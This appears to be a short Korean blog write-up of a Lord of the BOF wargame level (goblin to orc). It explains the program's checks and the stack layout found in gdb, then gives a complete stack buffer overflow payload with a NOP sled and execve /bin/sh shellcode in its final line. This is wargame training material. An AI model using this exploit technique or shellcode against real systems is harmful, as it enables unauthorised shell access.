시스템 해킹/LOB

LOB - Level4 [goblin -> orc]

ii4gsp 2020. 1. 14. 11:49

memset() 함수로 환경변수  메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다.

argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다.

 

 

 

 

gdb로 분석해보면 스택의 구조는

i

_______

buffer

________

SFP

________

RET

ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 <main+194>에 break point를 걸었다.

 

 

 

 

ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다.

 

 

 

 

 

payload

./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')